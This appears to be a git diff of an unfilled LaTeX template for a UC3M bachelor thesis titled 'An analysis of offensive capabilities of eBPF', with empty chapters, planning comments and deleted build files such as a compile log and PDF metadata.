% Soporte para GENERAR PDF/A --es importante de cara a su inclusión en e-Archivo porque es el formato óptimo de preservación y a la generación de metadatos, tal y como se describe en http://uc3m.libguides.com/ld.php?content_id=31389625. En la carpeta incluímos el archivo plantilla_tfg_2017.xmpdata en el que puedes incluir los metadatos que se incorporarán al archivo PDF cuando lo compiles. Ese archivo debe llamarse igual que tu archivo .tex. Puedes ver un ejemplo en esta misma carpeta.
|
||||
\usepackage[a-1b]{pdfx}
|
||||
|
||||
% LINKS
|
||||
\usepackage{hyperref}
|
||||
\hypersetup{colorlinks=true,
|
||||
linkcolor=black,
|
||||
urlcolor=blue}
|
||||
|
||||
% MATH
|
||||
\usepackage{amsmath,amssymb,amsfonts,amsthm}
|
||||
|
||||
\usepackage{txfonts}
|
||||
\usepackage[T1]{fontenc}
|
||||
\usepackage[utf8]{inputenc}
|
||||
|
||||
\usepackage[english]{babel}
|
||||
\usepackage[babel, english=american]{csquotes}
|
||||
\AtBeginEnvironment{quote}{\small}
|
||||
|
||||
% FOOTER
|
||||
\usepackage{fancyhdr}
|
||||
\pagestyle{fancy}
|
||||
\fancyhf{}
|
||||
\renewcommand{\headrulewidth}{0pt}
|
||||
\rfoot{\thepage}
|
||||
\fancypagestyle{plain}{\pagestyle{fancy}}
|
||||
|
||||
% TITLES
|
||||
\usepackage{titlesec}
|
||||
\usepackage{titletoc}
|
||||
\titleformat{\chapter}[block]
|
||||
{\large\bfseries\filcenter}
|
||||
{\thechapter.}
|
||||
{5pt}
|
||||
{\MakeUppercase}
|
||||
{}
|
||||
\titlespacing{\chapter}{0pt}{0pt}{*3}
|
||||
\titlecontents{chapter}
|
||||
[0pt]
|
||||
{}
|
||||
{\contentsmargin{0pt}\thecontentslabel.\enspace\uppercase}
|
||||
{\contentsmargin{0pt}\uppercase}
|
||||
{\titlerule*[.7pc]{.}\contentspage}
|
||||
|
||||
\titleformat{\section}
|
||||
{\bfseries}
|
||||
{\thesection.}
|
||||
{5pt}
|
||||
{}
|
||||
\titlecontents{section}
|
||||
[5pt]
|
||||
{}
|
||||
{\contentsmargin{0pt}\thecontentslabel.\enspace}
|
||||
{\contentsmargin{0pt}}
|
||||
{\titlerule*[.7pc]{.}\contentspage}
|
||||
|
||||
\titleformat{\subsection}
|
||||
{\normalsize\bfseries}
|
||||
{\thesubsection.}
|
||||
{5pt}
|
||||
{}
|
||||
\titlecontents{subsection}
|
||||
[10pt]
|
||||
{}
|
||||
{\contentsmargin{0pt}
|
||||
\thecontentslabel.\enspace}
|
||||
{\contentsmargin{0pt}}
|
||||
{\titlerule*[.7pc]{.}\contentspage}
|
||||
|
||||
|
||||
% TABLE DESIGN
|
||||
\usepackage{multirow}
|
||||
\usepackage{caption}
|
||||
\usepackage{floatrow}
|
||||
\usepackage{array}
|
||||
\newcolumntype{P}[1]{>{\centering\arraybackslash}p{#1}}
|
||||
\DeclareCaptionFormat{upper}{#1#2\uppercase{#3}\par}
|
||||
|
||||
\captionsetup[table]{
|
||||
format=upper,
|
||||
justification=centering,
|
||||
labelsep=period,
|
||||
width=.75\linewidth,
|
||||
labelfont=small,
|
||||
font=small,
|
||||
}
|
||||
|
||||
|
||||
|
||||
% FIGURES DESIGN
|
||||
\usepackage{graphicx}
|
||||
\graphicspath{{images/}}
|
||||
|
||||
\captionsetup[figure]{
|
||||
format=hang,
|
||||
name=Fig.,
|
||||
singlelinecheck=off,
|
||||
labelsep=period,
|
||||
labelfont=small,
|
||||
font=small
|
||||
}
|
||||
|
||||
|
||||
% FOOT NOTES
|
||||
\usepackage{chngcntr}
|
||||
\counterwithout{footnote}{chapter}
|
||||
|
||||
% CODE LISTINGS
|
||||
\usepackage{listings}
|
||||
|
||||
\lstdefinestyle{estilo}{ frame=Ltb,
|
||||
framerule=0pt,
|
||||
aboveskip=0.5cm,
|
||||
framextopmargin=3pt,
|
||||
framexbottommargin=3pt,
|
||||
framexleftmargin=0.4cm,
|
||||
framesep=0pt,
|
||||
rulesep=.4pt,
|
||||
backgroundcolor=\color{gray97},
|
||||
rulesepcolor=\color{black},
|
||||
%
|
||||
basicstyle=\ttfamily\footnotesize,
|
||||
keywordstyle=\bfseries,
|
||||
stringstyle=\ttfamily,
|
||||
showstringspaces = false,
|
||||
commentstyle=\color{gray45},
|
||||
%
|
||||
numbers=left,
|
||||
numbersep=15pt,
|
||||
numberstyle=\tiny,
|
||||
numberfirstline = false,
|
||||
breaklines=true,
|
||||
xleftmargin=\parindent
|
||||
}
|
||||
|
||||
\captionsetup[lstlisting]{font=small, labelsep=period}
|
||||
|
||||
\lstset{style=estilo}
|
||||
\renewcommand{\lstlistingname}{\uppercase{Código}}
|
||||
|
||||
% IEEE BIBLIOGRAPHY
|
||||
\usepackage[backend=biber, style=ieee, isbn=false,sortcites, maxbibnames=5, minbibnames=1]{biblatex}
|
||||
|
||||
\addbibresource{bibliography/bibliography.bib}
|
||||
|
||||
|
||||
%-------------
|
||||
% DOCUMENT
|
||||
%-------------
|
||||
|
||||
\begin{document}
|
||||
\pagenumbering{roman}
|
||||
|
||||
%----------
|
||||
% COVER
|
||||
%----------
|
||||
\begin{titlepage}
|
||||
\begin{sffamily}
|
||||
\color{azulUC3M}
|
||||
\begin{center}
|
||||
\begin{figure}[H] %university logotype
|
||||
\makebox[\textwidth][c]{\includegraphics[width=16cm]{Portada_Logo.png}}
|
||||
\end{figure}
|
||||
\vspace{2.5cm}
|
||||
\begin{Large}
|
||||
University Degree in Computer Science and Engineering\\
|
||||
Academic Year 2021-2022\\
|
||||
\vspace{2cm}
|
||||
\textsl{Bachelor Thesis}
|
||||
\bigskip
|
||||
|
||||
\end{Large}
|
||||
{\Huge ``An analysis of offensive capabilities of eBPF''}\\
|
||||
\vspace*{0.5cm}
|
||||
\rule{10.5cm}{0.1mm}\\
|
||||
\vspace*{0.9cm}
|
||||
{\LARGE Marcos Sánchez Bajo}\\
|
||||
\vspace*{1cm}
|
||||
\begin{Large}
|
||||
Juan Manuel Estévez Tapiador\\
|
||||
Leganés, 2022\\
|
||||
\end{Large}
|
||||
\end{center}
|
||||
\vfill
|
||||
\color{black}
|
||||
% Creative Commons license
|
||||
\includegraphics[width=4.2cm]{images/creativecommons.png}\\
|
||||
This work is licensed under Creative Commons \textbf{Attribution – Non Commercial – Non Derivatives}
|
||||
\end{sffamily}
|
||||
\end{titlepage}
|
||||
|
||||
\newpage
|
||||
\thispagestyle{empty}
|
||||
\mbox{}
|
||||
|
||||
%----------
|
||||
% SUMMARY & KEYWORDS
|
||||
%----------
|
||||
\renewcommand\abstractname{\large\uppercase{Summary}}
|
||||
\begin{abstract}
|
||||
\thispagestyle{plain}
|
||||
\setcounter{page}{3}
|
||||
|
||||
% TODO SUMMARY
|
||||
|
||||
\textbf{Keywords:}
|
||||
% TODO KEYWORDS
|
||||
|
||||
\vfill
|
||||
\end{abstract}
|
||||
\newpage
|
||||
\thispagestyle{empty}
|
||||
\mbox{}
|
||||
|
||||
|
||||
%----------
|
||||
% DEDICATION
|
||||
%----------
|
||||
\chapter*{Dedication}
|
||||
|
||||
\setcounter{page}{5}
|
||||
|
||||
% TODO DEDICATION
|
||||
|
||||
\vfill
|
||||
|
||||
\newpage
|
||||
\thispagestyle{empty}
|
||||
\mbox{}
|
||||
|
||||
|
||||
%----------
|
||||
% INDEXES
|
||||
%----------
|
||||
|
||||
%--
|
||||
%General indexes
|
||||
%-
|
||||
\tableofcontents
|
||||
\thispagestyle{fancy}
|
||||
|
||||
\newpage
|
||||
\thispagestyle{empty}
|
||||
\mbox{}
|
||||
|
||||
%--
|
||||
% List of figures
|
||||
%-
|
||||
\listoffigures
|
||||
\thispagestyle{fancy}
|
||||
|
||||
\newpage
|
||||
\thispagestyle{empty}
|
||||
\mbox{}
|
||||
|
||||
%--
|
||||
% List of tables
|
||||
%-
|
||||
\listoftables
|
||||
\thispagestyle{fancy}
|
||||
|
||||
\newpage % página en blanco o de cortesía
|
||||
\thispagestyle{empty}
|
||||
\mbox{}
|
||||
|
||||
|
||||
%----------
|
||||
% INTRODUCTION
|
||||
%----------
|
||||
\clearpage
|
||||
\pagenumbering{arabic}
|
||||
|
||||
\chapter{Introduction}
|
||||
|
||||
\section{Motivation}
|
||||
|
||||
\section{Objectives}
|
||||
|
||||
\section{Regulatory framework}
|
||||
%MARCOS-> Is this the appropiate place? Looking at other TFGs it is sometimes here and others in a final chapter
|
||||
|
||||
\subsection{Social and economic environment}
|
||||
%M-> Mentioned talking about community outreach and its role under pentesting
|
||||
\subsection{Budget}
|
||||
|
||||
|
||||
\chapter{State of the Art}
|
||||
%M-> We mentioned talking about rootkits in general here + eBPF how it works, and previous work on this. Also libbpf(?).
|
||||
|
||||
\chapter{Methods??}
|
||||
%M-> Following the particular TFG we discussed and also others, it looks like the main chapter(s) varies name depending on the TFG topic. ALso is there a prefered way to distribute this?
|
||||
%An idea: approach it depending on the ebpf capability to explore, e.g: network, user memory modification, hooking.
|
||||
|
||||
|
||||
\chapter{Results}
|
||||
|
||||
|
||||
\chapter{Conclusion and future work}
|
||||
|
||||
|
||||
|
||||
|
||||
%----------
|
||||
% BIBLIOGRAPHY
|
||||
%----------
|
||||
|
||||
%\nocite{*} % Si quieres que aparezcan en la bibliografía todos los documentos que la componen (también los que no estén citados en el texto) descomenta está lína
|
||||
|
||||
\clearpage
|
||||
\addcontentsline{toc}{chapter}{Bibliography}
|
||||
|
||||
\printbibliography
|
||||
|
||||
|
||||
|
||||
%----------
|
||||
% ANEX
|
||||
%----------
|
||||
|
||||
%M-> Mentioned putting some demos and PoCs here...
|
||||
% Then
|
||||
|
||||
\chapter* {Appendix A}
|
||||
\pagenumbering{gobble} % Las páginas de los anexos no se numeran
|
||||
|
||||
\chapter* {Appendix B}
|
||||
|
||||
|
||||
\end{document}
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 22 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 20 KiB |
@@ -1,21 +0,0 @@
|
||||
This is pdfTeX, Version 3.14159265-2.6-1.40.17 (TeX Live 2016/Debian) (preloaded format=pdflatex 2021.5.6) 27 OCT 2021 22:09
|
||||
entering extended mode
|
||||
restricted \write18 enabled.
|
||||
%&-line parsing enabled.
|
||||
**bibliografia.tex
|
||||
|
||||
! Emergency stop.
|
||||
<*> bibliografia.tex
|
||||
|
||||
*** (job aborted, file error in nonstop mode)
|
||||
|
||||
|
||||
Here is how much of TeX's memory you used:
|
||||
3 strings out of 493013
|
||||
114 string characters out of 6135683
|
||||
53760 words of memory out of 5000000
|
||||
3649 multiletter control sequences out of 15000+600000
|
||||
3640 words of font info for 14 fonts, out of 8000000 for 9000
|
||||
1141 hyphenation exceptions out of 8191
|
||||
0i,0n,0p,1b,6s stack positions out of 5000i,500n,10000p,200000b,80000s
|
||||
! ==> Fatal error occurred, no output PDF file produced!
|
||||
@@ -1,2 +0,0 @@
|
||||
os.remove("creationdate.timestamp")
|
||||
io.output("creationdate.timestamp"):write(os.date("\\edef\\tempa{\\string D:%Y%m%d%H%M%S}\n\\def\\tempb{%z}"))
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 22 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 20 KiB |
@@ -1,109 +0,0 @@
|
||||
<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d' ?>
|
||||
|
||||
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.0-c316 44.253921, Sun Oct 01 2006 17:14:39">
|
||||
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
|
||||
<rdf:Description rdf:about="" xmlns:pdfaExtension="http://www.aiim.org/pdfa/ns/extension/"
|
||||
xmlns:pdfaSchema="http://www.aiim.org/pdfa/ns/schema#"
|
||||
xmlns:pdfaProperty="http://www.aiim.org/pdfa/ns/property#"
|
||||
>
|
||||
<pdfaExtension:schemas>
|
||||
<rdf:Bag>
|
||||
<rdf:li rdf:parseType="Resource">
|
||||
<pdfaSchema:namespaceURI>http://ns.adobe.com/pdfx/1.3/</pdfaSchema:namespaceURI>
|
||||
<pdfaSchema:prefix>pdfx</pdfaSchema:prefix>
|
||||
<pdfaSchema:schema>PDF/X Schema</pdfaSchema:schema>
|
||||
<pdfaSchema:property>
|
||||
<rdf:Seq>
|
||||
<rdf:li rdf:parseType="Resource">
|
||||
<pdfaProperty:category>external</pdfaProperty:category>
|
||||
<pdfaProperty:description>URL to an online version or preprint</pdfaProperty:description>
|
||||
<pdfaProperty:name>AuthoritativeDomain</pdfaProperty:name>
|
||||
<pdfaProperty:valueType>Text</pdfaProperty:valueType>
|
||||
</rdf:li>
|
||||
</rdf:Seq>
|
||||
</pdfaSchema:property>
|
||||
</rdf:li>
|
||||
<rdf:li rdf:parseType="Resource">
|
||||
<pdfaSchema:schema>PRISM metadata</pdfaSchema:schema>
|
||||
<pdfaSchema:namespaceURI>http://prismstandard.org/namespaces/basic/2.2/</pdfaSchema:namespaceURI>
|
||||
<pdfaSchema:prefix>prism</pdfaSchema:prefix>
|
||||
<pdfaSchema:property>
|
||||
<rdf:Seq>
|
||||
<rdf:li rdf:parseType="Resource">
|
||||
<pdfaProperty:name>aggregationType</pdfaProperty:name>
|
||||
<pdfaProperty:valueType>Text</pdfaProperty:valueType>
|
||||
<pdfaProperty:category>external</pdfaProperty:category>
|
||||
<pdfaProperty:description>The type of publication. If defined, must be one of book, catalog, feed, journal, magazine, manual, newsletter, pamphlet.</pdfaProperty:description>
|
||||
</rdf:li>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</rdf:Seq></pdfaSchema:property>
|
||||
</rdf:li>
|
||||
</rdf:Bag>
|
||||
</pdfaExtension:schemas>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="" xmlns:pdf="http://ns.adobe.com/pdf/1.3/">
|
||||
<pdf:Producer>pdfTeX</pdf:Producer>
|
||||
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="" xmlns:dc="http://purl.org/dc/elements/1.1/">
|
||||
<dc:format>application/pdf</dc:format>
|
||||
|
||||
|
||||
<dc:publisher><rdf:Bag><rdf:li></rdf:li></rdf:Bag></dc:publisher>
|
||||
|
||||
|
||||
|
||||
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="" xmlns:prism="http://prismstandard.org/namespaces/basic/2.2/">
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="" xmlns:pdfx="http://ns.adobe.com/pdfx/1.3/">
|
||||
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="" xmlns:pdfaid="http://www.aiim.org/pdfa/ns/id/">
|
||||
<pdfaid:part>1</pdfaid:part>
|
||||
<pdfaid:conformance>B</pdfaid:conformance>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/">
|
||||
<xmp:CreatorTool>LaTeX with hyperref package</xmp:CreatorTool>
|
||||
<xmp:ModifyDate>2021-10-27T22:29:18+02:00</xmp:ModifyDate>
|
||||
<xmp:CreateDate>2021-10-27T22:29:18+02:00</xmp:CreateDate>
|
||||
<xmp:MetadataDate>2021-10-27T22:29:18+02:00</xmp:MetadataDate>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="" xmlns:xmpRights = "http://ns.adobe.com/xap/1.0/rights/">
|
||||
|
||||
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/">
|
||||
<xmpMM:DocumentID>uuid:1D1FB415-2987-540B-71C2-9814BD38D9AD</xmpMM:DocumentID>
|
||||
<xmpMM:InstanceID>uuid:05532005-BCE3-B86A-4CE5-5F188E69CE75</xmpMM:InstanceID>
|
||||
</rdf:Description>
|
||||
</rdf:RDF>
|
||||
</x:xmpmeta>
|
||||
|
||||
|
||||
|
||||
|
||||
<?xpacket end='w'?>
|
||||
@@ -1,6 +0,0 @@
|
||||
\Title{TITLE}
|
||||
\Author{AUTHOR}
|
||||
\Copyright{\copyright The author. Some rights reserved. This document is under terms of Creative Commons license Attribution - Non Commercial - Non Derivatives.}
|
||||
\CopyrightURL{http://creativecommons.org/licenses/by-nc-nd/3.0/es/}
|
||||
\Keywords{word\sep word\sep word}
|
||||
\Subject{SUBJECT}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,6 +0,0 @@
|
||||
\boolfalse {citerequest}\boolfalse {citetracker}\boolfalse {pagetracker}\boolfalse {backtracker}\relax
|
||||
\defcounter {refsection}{0}\relax
|
||||
\select@language {english}
|
||||
\defcounter {refsection}{0}\relax
|
||||
\addvspace {10\p@ }
|
||||
\contentsfinish
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,6 +0,0 @@
|
||||
\boolfalse {citerequest}\boolfalse {citetracker}\boolfalse {pagetracker}\boolfalse {backtracker}\relax
|
||||
\defcounter {refsection}{0}\relax
|
||||
\select@language {english}
|
||||
\defcounter {refsection}{0}\relax
|
||||
\addvspace {10\p@ }
|
||||
\contentsfinish
|
||||
@@ -1 +0,0 @@
|
||||
\BOOKMARK [0][-]{chapter.1}{Introduction}{}% 1
|
||||
Binary file not shown.
@@ -1,88 +0,0 @@
|
||||
<?xml version="1.0" standalone="yes"?>
|
||||
<!-- logreq request file -->
|
||||
<!-- logreq version 1.0 / dtd version 1.0 -->
|
||||
<!-- Do not edit this file! -->
|
||||
<!DOCTYPE requests [
|
||||
<!ELEMENT requests (internal | external)*>
|
||||
<!ELEMENT internal (generic, (provides | requires)*)>
|
||||
<!ELEMENT external (generic, cmdline?, input?, output?, (provides | requires)*)>
|
||||
<!ELEMENT cmdline (binary, (option | infile | outfile)*)>
|
||||
<!ELEMENT input (file)+>
|
||||
<!ELEMENT output (file)+>
|
||||
<!ELEMENT provides (file)+>
|
||||
<!ELEMENT requires (file)+>
|
||||
<!ELEMENT generic (#PCDATA)>
|
||||
<!ELEMENT binary (#PCDATA)>
|
||||
<!ELEMENT option (#PCDATA)>
|
||||
<!ELEMENT infile (#PCDATA)>
|
||||
<!ELEMENT outfile (#PCDATA)>
|
||||
<!ELEMENT file (#PCDATA)>
|
||||
<!ATTLIST requests
|
||||
version CDATA #REQUIRED
|
||||
>
|
||||
<!ATTLIST internal
|
||||
package CDATA #REQUIRED
|
||||
priority (9) #REQUIRED
|
||||
active (0 | 1) #REQUIRED
|
||||
>
|
||||
<!ATTLIST external
|
||||
package CDATA #REQUIRED
|
||||
priority (1 | 2 | 3 | 4 | 5 | 6 | 7 | 8) #REQUIRED
|
||||
active (0 | 1) #REQUIRED
|
||||
>
|
||||
<!ATTLIST provides
|
||||
type (static | dynamic | editable) #REQUIRED
|
||||
>
|
||||
<!ATTLIST requires
|
||||
type (static | dynamic | editable) #REQUIRED
|
||||
>
|
||||
<!ATTLIST file
|
||||
type CDATA #IMPLIED
|
||||
>
|
||||
]>
|
||||
<requests version="1.0">
|
||||
<internal package="biblatex" priority="9" active="0">
|
||||
<generic>latex</generic>
|
||||
<provides type="dynamic">
|
||||
<file>plantilla_tfg_ingles_2019.bcf</file>
|
||||
</provides>
|
||||
<requires type="dynamic">
|
||||
<file>plantilla_tfg_ingles_2019.bbl</file>
|
||||
</requires>
|
||||
<requires type="static">
|
||||
<file>blx-dm.def</file>
|
||||
<file>blx-compat.def</file>
|
||||
<file>biblatex.def</file>
|
||||
<file>ieee.bbx</file>
|
||||
<file>numeric-comp.bbx</file>
|
||||
<file>numeric.bbx</file>
|
||||
<file>standard.bbx</file>
|
||||
<file>ieee.cbx</file>
|
||||
<file>numeric-comp.cbx</file>
|
||||
<file>biblatex.cfg</file>
|
||||
<file>english.lbx</file>
|
||||
</requires>
|
||||
</internal>
|
||||
<external package="biblatex" priority="5" active="0">
|
||||
<generic>biber</generic>
|
||||
<cmdline>
|
||||
<binary>biber</binary>
|
||||
<infile>plantilla_tfg_ingles_2019</infile>
|
||||
</cmdline>
|
||||
<input>
|
||||
<file>plantilla_tfg_ingles_2019.bcf</file>
|
||||
</input>
|
||||
<output>
|
||||
<file>plantilla_tfg_ingles_2019.bbl</file>
|
||||
</output>
|
||||
<provides type="dynamic">
|
||||
<file>plantilla_tfg_ingles_2019.bbl</file>
|
||||
</provides>
|
||||
<requires type="dynamic">
|
||||
<file>plantilla_tfg_ingles_2019.bcf</file>
|
||||
</requires>
|
||||
<requires type="editable">
|
||||
<file>bibliografia/bibliografia.bib</file>
|
||||
</requires>
|
||||
</external>
|
||||
</requests>
|
||||
Binary file not shown.
@@ -1,374 +0,0 @@
|
||||
%----------
|
||||
% IMPORTANTE
|
||||
%----------
|
||||
|
||||
% Si nunca has utilizado LaTeX es conveniente que aprendas una serie de conceptos básicos antes de utilizar esta plantilla. Te aconsejamos que leas previamente algún tutorial (puedes encontar muchos en Internet).
|
||||
|
||||
% Esta plantilla está basada en las recomendaciones de la guía "Trabajo fin de Grado: Escribir el TFG", que encontrarás en http://uc3m.libguides.com/TFG/escribir
|
||||
% contiene recomendaciones de la Biblioteca basadas principalmente en estilos APA e IEEE, pero debes seguir siempre las orientaciones de tu Tutor de TFG y la normativa de TFG para tu titulación.
|
||||
|
||||
% Encontrarás un ejemplo de TFG realizado con esta misma plantilla en la carpeta "_ejemplo_TFG_2019". Consúltalo porque contiene ejemplos útiles para incorporar tablas, figuras, listados de código, bibliografía, etc.
|
||||
|
||||
|
||||
%----------
|
||||
% CONFIGURACIÓN DEL DOCUMENTO
|
||||
%----------
|
||||
|
||||
% Definimos las características del documento y añadimos una serie de paquetes (\usepackage{package}) que agregan funcionalidades a LaTeX.
|
||||
|
||||
\documentclass[12pt]{report} %fuente a 12pt
|
||||
|
||||
% MÁRGENES: 2,5 cm sup. e inf.; 3 cm izdo. y dcho.
|
||||
\usepackage[
|
||||
a4paper,
|
||||
vmargin=2.5cm,
|
||||
hmargin=3cm
|
||||
]{geometry}
|
||||
|
||||
% INTERLINEADO: Estrecho (6 ptos./interlineado 1,15) o Moderado (6 ptos./interlineado 1,5)
|
||||
\renewcommand{\baselinestretch}{1.15}
|
||||
\parskip=6pt
|
||||
|
||||
% DEFINICIÓN DE COLORES para portada y listados de código
|
||||
\usepackage[table]{xcolor}
|
||||
\definecolor{azulUC3M}{RGB}{0,0,102}
|
||||
\definecolor{gray97}{gray}{.97}
|
||||
\definecolor{gray75}{gray}{.75}
|
||||
\definecolor{gray45}{gray}{.45}
|
||||
|
||||
% Soporte para GENERAR PDF/A --es importante de cara a su inclusión en e-Archivo porque es el formato óptimo de preservación y a la generación de metadatos, tal y como se describe en http://uc3m.libguides.com/ld.php?content_id=31389625. En la carpeta incluímos el archivo plantilla_tfg_2017.xmpdata en el que puedes incluir los metadatos que se incorporarán al archivo PDF cuando lo compiles. Ese archivo debe llamarse igual que tu archivo .tex. Puedes ver un ejemplo en esta misma carpeta.
|
||||
\usepackage[a-1b]{pdfx}
|
||||
|
||||
% ENLACES
|
||||
\usepackage{hyperref}
|
||||
\hypersetup{colorlinks=true,
|
||||
linkcolor=black, % enlaces a partes del documento (p.e. índice) en color negro
|
||||
urlcolor=blue} % enlaces a recursos fuera del documento en azul
|
||||
|
||||
% EXPRESIONES MATEMATICAS
|
||||
\usepackage{amsmath,amssymb,amsfonts,amsthm}
|
||||
|
||||
\usepackage{txfonts}
|
||||
\usepackage[T1]{fontenc}
|
||||
\usepackage[utf8]{inputenc}
|
||||
|
||||
\usepackage[english]{babel}
|
||||
\usepackage[babel, english=american]{csquotes}
|
||||
\AtBeginEnvironment{quote}{\small}
|
||||
|
||||
% diseño de PIE DE PÁGINA
|
||||
\usepackage{fancyhdr}
|
||||
\pagestyle{fancy}
|
||||
\fancyhf{}
|
||||
\renewcommand{\headrulewidth}{0pt}
|
||||
\rfoot{\thepage}
|
||||
\fancypagestyle{plain}{\pagestyle{fancy}}
|
||||
|
||||
% DISEÑO DE LOS TÍTULOS de las partes del trabajo (capítulos y epígrafes o subcapítulos)
|
||||
\usepackage{titlesec}
|
||||
\usepackage{titletoc}
|
||||
\titleformat{\chapter}[block]
|
||||
{\large\bfseries\filcenter}
|
||||
{\thechapter.}
|
||||
{5pt}
|
||||
{\MakeUppercase}
|
||||
{}
|
||||
\titlespacing{\chapter}{0pt}{0pt}{*3}
|
||||
\titlecontents{chapter}
|
||||
[0pt]
|
||||
{}
|
||||
{\contentsmargin{0pt}\thecontentslabel.\enspace\uppercase}
|
||||
{\contentsmargin{0pt}\uppercase}
|
||||
{\titlerule*[.7pc]{.}\contentspage}
|
||||
|
||||
\titleformat{\section}
|
||||
{\bfseries}
|
||||
{\thesection.}
|
||||
{5pt}
|
||||
{}
|
||||
\titlecontents{section}
|
||||
[5pt]
|
||||
{}
|
||||
{\contentsmargin{0pt}\thecontentslabel.\enspace}
|
||||
{\contentsmargin{0pt}}
|
||||
{\titlerule*[.7pc]{.}\contentspage}
|
||||
|
||||
\titleformat{\subsection}
|
||||
{\normalsize\bfseries}
|
||||
{\thesubsection.}
|
||||
{5pt}
|
||||
{}
|
||||
\titlecontents{subsection}
|
||||
[10pt]
|
||||
{}
|
||||
{\contentsmargin{0pt}
|
||||
\thecontentslabel.\enspace}
|
||||
{\contentsmargin{0pt}}
|
||||
{\titlerule*[.7pc]{.}\contentspage}
|
||||
|
||||
|
||||
% DISEÑO DE TABLAS. Puedes elegir entre el estilo para ingeniería o para ciencias sociales y humanidades. Por defecto, está activado el estilo de ingeniería. Si deseas utilizar el otro, comenta las líneas del diseño de ingeniería y descomenta las del diseño de ciencias sociales y humanidades
|
||||
\usepackage{multirow} %permite combinar celdas
|
||||
\usepackage{caption} %para personalizar el título de tablas y figuras
|
||||
\usepackage{floatrow} %utilizamos este paquete y sus macros \ttabbox y \ffigbox para alinear los nombres de tablas y figuras de acuerdo con el estilo definido. Para su uso ver archivo de ejemplo
|
||||
\usepackage{array} % con este paquete podemos definir en la siguiente línea un nuevo tipo de columna para tablas: ancho personalizado y contenido centrado
|
||||
\newcolumntype{P}[1]{>{\centering\arraybackslash}p{#1}}
|
||||
\DeclareCaptionFormat{upper}{#1#2\uppercase{#3}\par}
|
||||
|
||||
% Diseño de tabla para ingeniería
|
||||
\captionsetup[table]{
|
||||
format=upper,
|
||||
justification=centering,
|
||||
labelsep=period,
|
||||
width=.75\linewidth,
|
||||
labelfont=small,
|
||||
font=small,
|
||||
}
|
||||
|
||||
%Diseño de tabla para ciencias sociales y humanidades
|
||||
%\captionsetup[table]{
|
||||
% justification=raggedright,
|
||||
% labelsep=period,
|
||||
% labelfont=small,
|
||||
% singlelinecheck=false,
|
||||
% font={small,bf}
|
||||
%}
|
||||
|
||||
|
||||
% DISEÑO DE FIGURAS. Puedes elegir entre el estilo para ingeniería o para ciencias sociales y humanidades. Por defecto, está activado el estilo de ingeniería. Si deseas utilizar el otro, comenta las líneas del diseño de ingeniería y descomenta las del diseño de ciencias sociales y humanidades
|
||||
\usepackage{graphicx}
|
||||
\graphicspath{{imagenes/}} %ruta a la carpeta de imágenes
|
||||
|
||||
% Diseño de figuras para ingeniería
|
||||
\captionsetup[figure]{
|
||||
format=hang,
|
||||
name=Fig.,
|
||||
singlelinecheck=off,
|
||||
labelsep=period,
|
||||
labelfont=small,
|
||||
font=small
|
||||
}
|
||||
|
||||
% Diseño de figuras para ciencias sociales y humanidades
|
||||
%\captionsetup[figure]{
|
||||
% format=hang,
|
||||
% name=Figure,
|
||||
% singlelinecheck=off,
|
||||
% labelsep=period,
|
||||
% labelfont=small,
|
||||
% font=small
|
||||
%}
|
||||
|
||||
|
||||
% NOTAS A PIE DE PÁGINA
|
||||
\usepackage{chngcntr} %para numeración contínua de las notas al pie
|
||||
\counterwithout{footnote}{chapter}
|
||||
|
||||
% LISTADOS DE CÓDIGO
|
||||
% soporte y estilo para listados de código. Más información en https://es.wikibooks.org/wiki/Manual_de_LaTeX/Listados_de_código/Listados_con_listings
|
||||
\usepackage{listings}
|
||||
|
||||
% definimos un estilo de listings
|
||||
\lstdefinestyle{estilo}{ frame=Ltb,
|
||||
framerule=0pt,
|
||||
aboveskip=0.5cm,
|
||||
framextopmargin=3pt,
|
||||
framexbottommargin=3pt,
|
||||
framexleftmargin=0.4cm,
|
||||
framesep=0pt,
|
||||
rulesep=.4pt,
|
||||
backgroundcolor=\color{gray97},
|
||||
rulesepcolor=\color{black},
|
||||
%
|
||||
basicstyle=\ttfamily\footnotesize,
|
||||
keywordstyle=\bfseries,
|
||||
stringstyle=\ttfamily,
|
||||
showstringspaces = false,
|
||||
commentstyle=\color{gray45},
|
||||
%
|
||||
numbers=left,
|
||||
numbersep=15pt,
|
||||
numberstyle=\tiny,
|
||||
numberfirstline = false,
|
||||
breaklines=true,
|
||||
xleftmargin=\parindent
|
||||
}
|
||||
|
||||
\captionsetup[lstlisting]{font=small, labelsep=period}
|
||||
% fijamos el estilo a utilizar
|
||||
\lstset{style=estilo}
|
||||
\renewcommand{\lstlistingname}{\uppercase{Código}}
|
||||
|
||||
|
||||
%BIBLIOGRAFÍA - PUEDES ELEGIR ENTRE ESTILO IEEE O APA. POR DEFECTO ESTÁ CONFIGURADO IEEE. SI DESEAS USAR APA, COMENTA LAS LÍNEA DE IEEE Y DESCOMENTA LAS DE APA. Si haces cambios en la configuración de la bibliografía y no obtienes los resultados esperados, es recomendable limpiar los archivos auxiliares y volver a compilar en este orden: COMPILAR-BIBLIOGRAFIA-COMPILAR
|
||||
